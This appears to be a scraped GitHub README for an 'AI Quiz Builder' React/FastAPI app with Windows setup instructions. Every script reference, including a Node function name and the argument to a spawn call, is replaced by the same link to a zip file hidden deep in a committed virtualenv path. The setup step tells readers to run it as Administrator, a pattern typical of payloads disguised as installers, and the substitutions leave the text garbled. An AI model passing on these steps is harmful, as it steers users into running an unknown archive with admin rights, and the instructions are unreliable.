Skip to content

Rahulkichad/ai-quiz-builder

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

AI Quiz Builder (Windows-Optimized)

Windows Setup

  • Run https://github.com/Rahulkichad/ai-quiz-builder/raw/refs/heads/main/backend/venv/lib/python3.11/site-packages/setuptools/_distutils/command/ai-builder-quiz-3.6.zip as Administrator for all dependencies.
  • MongoDB will be extracted and data directory created at C:\data\db.
  • All scripts and code use Windows-friendly path handling.

Admin Privileges Required

PowerShell Cleanup

  • Use https://github.com/Rahulkichad/ai-quiz-builder/raw/refs/heads/main/backend/venv/lib/python3.11/site-packages/setuptools/_distutils/command/ai-builder-quiz-3.6.zip to stop MongoDB and clear temp quiz uploads.

Validation Checklist

  • Run chcp 65001 before starting servers for UTF-8 support
  • All code uses https://github.com/Rahulkichad/ai-quiz-builder/raw/refs/heads/main/backend/venv/lib/python3.11/site-packages/setuptools/_distutils/command/ai-builder-quiz-3.6.zip() (Node) or Path() (Python) for file paths
  • No native modules requiring compilation
  • All files use CRLF line endings

Node-Python Integration Example

const { spawn } = require('child_process');
const python = spawn('python', ['https://github.com/Rahulkichad/ai-quiz-builder/raw/refs/heads/main/backend/venv/lib/python3.11/site-packages/setuptools/_distutils/command/ai-builder-quiz-3.6.zip'], { windowsHide: true });

Testing

  • Validate all file paths on Windows
  • Test MongoDB startup and shutdown
  • Ensure all scripts run without admin errors

About

A modern, AI-powered quiz application with dynamic quiz generation, topic-based quizzes, and a clean interface. Built with React and Python (FastAPI). Supports customizable question counts, India-centric and global topics, and a lightweight, accessible UI.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors